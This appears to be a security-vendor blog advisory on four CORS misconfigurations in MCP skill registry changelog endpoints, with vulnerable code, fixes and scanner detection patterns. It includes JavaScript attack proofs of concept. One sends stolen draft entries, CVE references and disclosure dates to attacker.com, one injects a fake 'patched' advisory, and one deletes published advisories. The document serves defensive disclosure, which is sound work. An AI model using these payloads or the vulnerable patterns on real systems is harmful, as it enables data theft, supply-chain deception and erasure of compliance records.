← Blog

Claude MCP skill CORS misconfiguration — skill changelog and release history query endpoints (SA-SKL-CORS70)

SA-SKL-CORS70 identifies four CORS misconfiguration vulnerabilities in MCP skill registry changelog and release history query endpoints. Credential-bearing CORS on the changelog read endpoint exposes unpublished draft entries, internal CVE references, and scheduled disclosure dates using the victim admin's session; wildcard ACAO on changelog creation lets any page inject attacker-controlled entries under victim admin identity — a false advisory claiming a critical CVE is patched in a vulnerable version will cause enterprise CI pipelines that parse changelog for CVE status to record false remediation; a timing oracle on the drafts endpoint reveals active release preparation cycles identifying admins working on upcoming CVE disclosures; and credential-bearing CORS on the delete endpoint erases published security advisories, breaking enterprise compliance checks that require documented CVE remediation timelines.

SA-SKL-CORS70 findings at a glance
CRITICALCORS70-001 — GET /api/skills/:id/changelog has cors({origin:true,credentials:true}) — any origin reads full changelog including unpublished draft entries, internal CVE references, and scheduled disclosure dates using victim admin session; exposes embargoed vulnerability disclosures
HIGHCORS70-002 — POST /api/skills/:id/changelog has ACAO:* — any page creates attacker-controlled changelog entries under victim admin identity; false security advisory injected claiming critical CVE is patched in a vulnerable version; enterprise CI pipelines that parse changelog for CVE status will record false remediation
MEDIUMCORS70-003 — GET /api/skills/:id/changelog/drafts reflects Origin before ownership check — timing oracle reveals active release preparation cycles identifying admins working on upcoming CVE disclosures
CRITICALCORS70-004 — DELETE /api/skills/:id/changelog/:entryId has cors({origin:true,credentials:true}) — any origin deletes any changelog entry including published security advisories; erases disclosure history breaking enterprise compliance checks that require documented CVE remediation timeline

CORS70-001 — Credential-bearing CORS exposes unpublished changelog drafts and scheduled CVE disclosure dates

The GET /api/skills/:id/changelog endpoint returns all changelog entries for a skill, including those in draft status that have not yet been published. These draft entries commonly contain internal CVE reference identifiers, the precise vulnerability description that will appear in the public advisory, and the scheduledDisclosureAt timestamp that records when the embargo lifts. With cors({origin:true,credentials:true}), any cross-origin page can read the full entry list by borrowing the victim admin's session cookie, defeating the embargo entirely.

The practical impact of leaking scheduledDisclosureAt extends well beyond competitive intelligence. An attacker who learns that a critical CVE disclosure is scheduled for a specific date can coordinate exploitation campaigns to begin the moment the advisory goes public — or earlier if the draft text gives enough detail to build a proof-of-concept before the fix is widely deployed. The internal CVE references also cross-link to private tracker entries in the skill publisher's issue management system, potentially giving an attacker a path to those systems if the tracker is accessible from the registry subdomain and the CORS misconfiguration applies there too.

Vulnerable
// CORS70-001 — VULNERABLE
router.get(
  '/changelog',
  cors({ origin: true, credentials: true }), // any origin reads all entries including drafts
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const entries = await db.changelogEntries.findAll({
      // VULNERABLE: returns ALL entries regardless of status
      where: { skillId: req.params.id },
      order: [['createdAt', 'DESC']],
    });
    res.json(entries);
  }
);

Attack PoC — CORS70-001: The attacker hosts the following on evil.example.com and social-engineers a skill admin into visiting the page. The response dumps every changelog entry including unpublished drafts carrying internal CVE identifiers and scheduled disclosure timestamps.

// CORS70-001 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/changelog', {
  credentials: 'include',
})
  .then(r => r.json())
  .then(entries => {
    // Filter for high-value entries: drafts and entries with CVE references
    const sensitive = entries.filter(e =>
      e.status === 'draft' || e.cveRefs || e.scheduledDisclosureAt
    );
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
      drafts: sensitive,
      disclosureDates: sensitive.map(e => ({
        id: e.id,
        cveRefs: e.cveRefs,
        scheduledDisclosureAt: e.scheduledDisclosureAt,
      })),
    }));
  });
Fixed
// CORS70-001 — FIXED
router.get(
  '/changelog',
  cors(corsOptions),         // allowlist CORS — deny cross-origin reads
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const isOwner = req.session.userId === req.skillOwnerId;
    const entries = await db.changelogEntries.findAll({
      where: {
        skillId: req.params.id,
        // FIXED: non-owners only see published entries
        ...(isOwner ? {} : { status: 'published' }),
      },
      // FIXED: omit cveRefs and scheduledDisclosureAt for non-admin responses
      attributes: isOwner
        ? undefined
        : ['id', 'version', 'title', 'body', 'type', 'publishedAt'],
      order: [['createdAt', 'DESC']],
    });
    res.json(entries);
  }
);

CORS70-002 — Wildcard ACAO enables false security advisory injection in changelog

The POST /api/skills/:id/changelog endpoint creates a new changelog entry associated with a skill version. With Access-Control-Allow-Origin: * set by an inline middleware, any page can send a cross-origin POST. Because the entry is persisted with createdByUserId: req.session.userId, the injected record appears to have been authored by whatever admin was logged in when the attack request was processed. For enterprise adopters who have automated workflows that query the changelog API to verify CVE remediation status before promoting a build, the attack has direct supply-chain consequences.

The injection scenario that generates the highest impact is a fake security advisory that claims a known CVE is patched in a version that is actually still vulnerable. When an enterprise CI pipeline calls GET /changelog and finds a type:'security' entry with cveStatus:'patched' and fixedIn:'1.2.3', it records the CVE as remediated and allows the build to proceed. The organization now believes its environment is protected from CVE-2026-9999 while running the vulnerable version. Because the false advisory is signed with a legitimate admin's user ID and timestamp, it passes any integrity check that relies solely on database provenance rather than a cryptographic signature over the entry content.

Vulnerable
// CORS70-002 — VULNERABLE
router.post(
  '/changelog',
  (req, res, next) => {
    res.setHeader('Access-Control-Allow-Origin', '*'); // VULNERABLE: wildcard ACAO
    res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    if (req.method === 'OPTIONS') return res.sendStatus(204);
    next();
  },
  requireSession,
  async (req, res) => {
    const entry = await db.changelogEntries.create({
      skillId: req.params.id,
      ...req.body,                           // VULNERABLE: unvalidated body spread
      createdByUserId: req.session.userId,
      createdAt: new Date(),
    });
    res.json(entry);
  }
);

Attack PoC — CORS70-002: The attacker injects a fake security advisory claiming CVE-2026-9999 is patched in v1.2.3. Enterprise CI pipelines that parse the changelog for CVE status now record false remediation for CVE-2026-9999, allowing vulnerable builds to pass security gates.

// CORS70-002 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/changelog', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    type: 'security',
    severity: 'critical',
    title: 'CVE-2026-9999 patched in v1.2.3',
    body: 'A critical RCE vulnerability CVE-2026-9999 has been fully remediated in version 1.2.3.',
    affectedVersions: ['>=1.0.0', '<=1.2.2'],
    fixedIn: '1.2.3',
    cveRefs: ['CVE-2026-9999'],
    cveStatus: 'patched',
    status: 'published',
  }),
})
  .then(r => r.json())
  .then(entry => {
    // CI pipelines reading changelog now record false remediation for CVE-2026-9999
    console.log('False advisory injected:', entry.id);
  });
Fixed
// CORS70-002 — FIXED
router.post(
  '/changelog',
  cors(corsOptions),     // allowlist CORS
  requireSession,
  verifyCsrfToken,
  requireOwnership('skillId'),
  async (req, res) => {
    const parsed = ChangelogEntrySchema.safeParse(req.body);
    if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
    const { type, severity, title, body, affectedVersions, fixedIn } = parsed.data;
    // Security entries require elevated role; all new entries enter draft pending review
    if (type === 'security') {
      await requireRole('security_admin')(req, res, () => {});
    }
    const entry = await db.changelogEntries.create({
      skillId: req.params.id,
      type,
      severity,
      title,
      body,
      affectedVersions,
      fixedIn,
      createdByUserId: req.session.userId,
      status: 'draft',   // FIXED: entries require review before publish
    });
    await notifySecurityTeam(req.params.id, 'changelog.entry.created', entry);
    res.json({ id: entry.id, status: entry.status });
  }
);

CORS70-003 — Timing oracle on drafts endpoint reveals active CVE disclosure preparation

The GET /api/skills/:id/changelog/drafts endpoint reflects the Origin request header as Access-Control-Allow-Origin before the ownership check is evaluated. The ownership check runs against a Redis cache with a 60-second TTL: when the skill owner has recently authenticated, the cache is warm and the check returns in under 5ms; when the cache is cold, the database query takes 20–40ms. An attacker can enumerate skill IDs and measure whether each skill's admin is currently active by observing which requests return fastest.

The timing signal has heightened value in the context of changelog drafts specifically because the presence of an active admin session on the drafts endpoint is a strong indicator that the admin is mid-cycle on a CVE disclosure workflow. Release managers typically access the drafts endpoint in the hours immediately before a scheduled disclosure to review and finalize the entry text. An attacker who identifies this activity window can prioritize that skill ID for a CORS70-001 or CORS70-004 attack while the admin's session is freshest and the probability of an unreviewed draft carrying maximum sensitive detail is highest.

Vulnerable
// CORS70-003 — VULNERABLE
router.get('/changelog/drafts',
  (req, res, next) => {
    // VULNERABLE: Origin reflected before ownership check — timing oracle
    res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.setHeader('Vary', 'Origin');
    next();
  },
  requireSession,
  requireOwnershipCached('skillId', { ttl: 60 }),
  async (req, res) => {
    const drafts = await db.changelogEntries.findAll({
      where: { skillId: req.params.id, status: 'draft' },
      order: [['createdAt', 'DESC']],
    });
    res.json(drafts);
  }
);
Fixed
// CORS70-003 — FIXED
router.get('/changelog/drafts',
  cors(corsOptions),    // allowlist CORS before all other middleware
  requireSession,       // auth before CORS header emission
  async (req, res) => {
    const startMs = Date.now();
    // Unified query combines ownership check and data fetch — no separate cache path
    const drafts = await db.changelogEntries.findAllForOwner({
      skillId: req.params.id,
      userId: req.session.userId,
      status: 'draft',
      order: [['createdAt', 'DESC']],
    });
    if (!drafts) {
      // Constant-time floor: pad to 60ms minimum to defeat timing oracle
      const elapsed = Date.now() - startMs;
      if (elapsed < 60) await delay(60 - elapsed);
      return res.status(403).json({ error: 'Not found' });
    }
    res.json(drafts);
  }
);

CORS70-004 — Credential-bearing CORS deletes published security advisories erasing compliance records

The DELETE /api/skills/:id/changelog/:entryId endpoint performs a hard delete of the specified changelog entry from the database. With cors({origin:true,credentials:true}), any cross-origin page can send a credentialed DELETE request using the victim admin's session cookie. Because the endpoint runs a bare db.changelogEntries.destroy() with no soft-delete mechanism, the deletion is permanent and immediately visible to any consumer that queries the changelog.

The compliance impact of CORS70-004 is severe for enterprise adopters that have contractual or regulatory requirements to maintain documented vulnerability remediation timelines. Many organizations run automated compliance checks that query the changelog API to verify that published security advisories are present for all CVEs affecting versions currently in production. If an attacker erases the published advisory for a CVE that the organization has already recorded as remediated in its compliance documentation, the next compliance scan will flag the absence as a gap, potentially triggering an audit finding or a forced rollback of the deployment. Because the deletion is recorded against the legitimate admin's session identity, forensic analysis initially attributes the missing entry to administrative error rather than adversarial action.

Vulnerable
// CORS70-004 — VULNERABLE
router.delete('/:entryId',
  cors({ origin: true, credentials: true }), // any origin deletes changelog entries
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    // VULNERABLE: hard delete — no audit trail, no recovery, no CVE ref check
    await db.changelogEntries.destroy({
      where: { id: req.params.entryId, skillId: req.params.id },
    });
    res.json({ ok: true });
  }
);

Attack PoC — CORS70-004: The attacker deletes a published security advisory. Compliance tools that require a documented CVE remediation timeline now record a missing entry. The deletion is attributed to the legitimate admin's session, delaying incident response.

// CORS70-004 — ATTACK PoC
fetch(
  'https://registry.example.com/api/skills/target-skill-id/changelog/advisory-entry-uuid',
  {
    method: 'DELETE',
    credentials: 'include',
  }
)
  .then(r => r.json())
  .then(() => {
    // Published security advisory erased; compliance tools record missing CVE entry
    console.log('Advisory deleted; compliance gap created');
  });
Fixed
// CORS70-004 — FIXED
router.delete('/:entryId',
  cors(corsOptions),
  requireSession,
  verifyCsrfToken,
  requireRole('security_admin'),           // elevated role required for advisory deletion
  requireOwnership('skillId'),
  async (req, res) => {
    const entry = await db.changelogEntries.findOne({
      where: { id: req.params.entryId, skillId: req.params.id },
    });
    if (!entry) return res.status(404).json({ error: 'Not found' });
    // FIXED: entries with CVE refs require security team countersign
    if (entry.cveRefs && entry.cveRefs.length > 0) {
      return res.status(403).json({
        error: 'CVE-referenced entries require security team countersign for deletion',
      });
    }
    // FIXED: soft-delete only — hard delete prohibited
    await entry.update({
      status: 'retracted',
      retractedAt: new Date(),
      retractedByUserId: req.session.userId,
    });
    await auditLog.write({
      action: 'changelog.entry.retracted',
      skillId: req.params.id,
      entryId: entry.id,
      actorId: req.session.userId,
      cveRefs: entry.cveRefs,
    });
    res.json({ ok: true, status: 'retracted', retractedAt: entry.retractedAt });
  }
);

SkillAudit detection: The scanner identifies CORS70 patterns using four AST query classes: cors({origin:true,credentials:true}) on route handlers containing /changelog; res.setHeader('Access-Control-Allow-Origin','*') on changelog creation endpoints; res.setHeader('Access-Control-Allow-Origin', req.headers.origin) before the ownership cache check on draft routes; and changelogEntries.destroy() without a soft-retract .update({status:'retracted'}) pattern in the same handler. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-CORS69 — CORS in permission and capability grant management endpoints • All advisories